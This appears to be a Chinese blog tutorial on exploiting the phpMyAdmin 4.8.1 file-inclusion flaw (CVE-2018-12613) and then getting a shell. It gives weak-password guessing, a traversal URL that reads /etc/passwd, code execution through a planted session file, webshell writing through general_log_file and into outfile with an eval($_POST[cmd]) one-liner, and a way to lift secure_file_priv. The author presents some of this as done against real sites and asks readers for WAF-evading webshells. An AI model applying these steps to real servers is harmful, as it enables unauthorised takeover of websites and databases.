18.phpmyadmin 4.8.1 遠端檔案包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 遠端檔案包含漏洞(CVE-2018-12613)
phpMyAdmin是一套開源的、基於Web的MySQL資料庫管理工具。其index.php中存在一處檔案包含邏輯,
通過二次編碼即可繞過檢查,造成遠端檔案包含漏洞。
受影響版本:
phpMyAdmin 4.8.0和4.8.1受到影響。
漏洞復現:
本次實驗環境基於docker搭建,啟動環境,使用一波phpmyadmin的弱口令,像
root/root,root/123456,root/toor....登進後臺
不得不說phpmyadmin自從2.x版本有個前臺登陸繞過後,到現在前臺還沒出現過其他的漏洞,
希望廣大夥伴多多挖掘呀!!
使用弱口令 test/test ,成功登陸phpmyadmin後臺:
訪問 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,
可見/etc/passwd被讀取,說明檔案包含漏洞存在:
利用方式也比較簡單,可以執行一下 SELECT '<?php phpinfo()?>'; ,然後檢視自己的sessionid(cookie中phpMyAdmin的值):
這樣對應的SESSION檔案為 /tmp/sess_sessionid
然後在網址中包含session檔案即可:
可以看到順利執行了phpinfo();
可想而知如果我們select一個php一句話木馬,用菜刀連線,整站就可以被我們控制。
.......
實戰演練:
到phpmyadmin後臺後,getshell方法還很多,比如利用改變寫入的日誌的路徑,寫入我們的一句話木馬,
首先呢,介紹兩個MySQL全域性變數(general_log、general_log file)
- general log 指的是日誌儲存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
- general log file 指的是日誌的儲存路徑
mysql 5.0版本以上會建立日誌檔案,修改日誌的全域性變數,也可以getshell。但是也要對生成的日誌有可讀可寫的許可權。
檢視日誌狀態:
show global variables like '%secure%';
當 general_log=ON 時,所執行的sql語句都會出現在 /var/lib/mysql/1e164993aaf5.log 檔案
那麼,如果把 general_log_file 的路徑修改為 /var/lib/mysql/1.php,那麼所執行的sql語句就會儲存在
1.php中,如果我們執行一個php小馬,就可以getshell
如果輸入不存在的路徑時:
或許我們可以利用這個來探測目錄結構,如果路徑正確的話
這樣的話在相應的目錄下就會生成一個1.php,由於我們是實戰,所以無法截圖...
再次檢視日誌的狀態:
OK!!!滿足要求!
將一句話木馬寫入1.php檔案,既然是日誌檔案,我們select查詢自然也會被儲存在日誌裡面:
我們構造 :select '<?php phpinfo();?>'
這時候相當於我們把 <?php phpinfo();?> 寫入到日誌 1.php中,我們嘗試訪問
日誌檔案:1.php
成功getshell!!!
-------------------------------------------------------
還有一種方法就是一句話木馬的寫入:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';
當然,前提是你得知道網站的絕對路徑,方法也有很多,比如通過報錯獲取路徑,通過phpinfo.php等等
但在新版的mysql中,這句話並沒有執行成功,應為mysql新特性secure_file_priv會對讀寫檔案產生影響,
該引數用來限制匯入匯出,可以檢視該引數:
當secure_file_priv為NULL時,表示限制mysql不允許匯入匯出。所以爆出錯誤
要想使得該語句匯出成功,則需要在mysql資料夾下修改my.ini 檔案,
在[mysqld]內加入secure_file_priv ="" 即可
當secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制
此時就可以執行匯出命令,這裡不再復現
其實phpmyadmin的安全性一直在提高
比如博主昨天發現一個站,mysql操作已經安裝上了waf,會拒絕執行危險函式,像
eval(),assert()....並且資料庫的sql執行當見到 ; 號,會自動認為語句結束,這對我們構造
過狗的馬造成了困擾,如果有phpmyadmin過狗的好馬,一點更要私聊博主哦!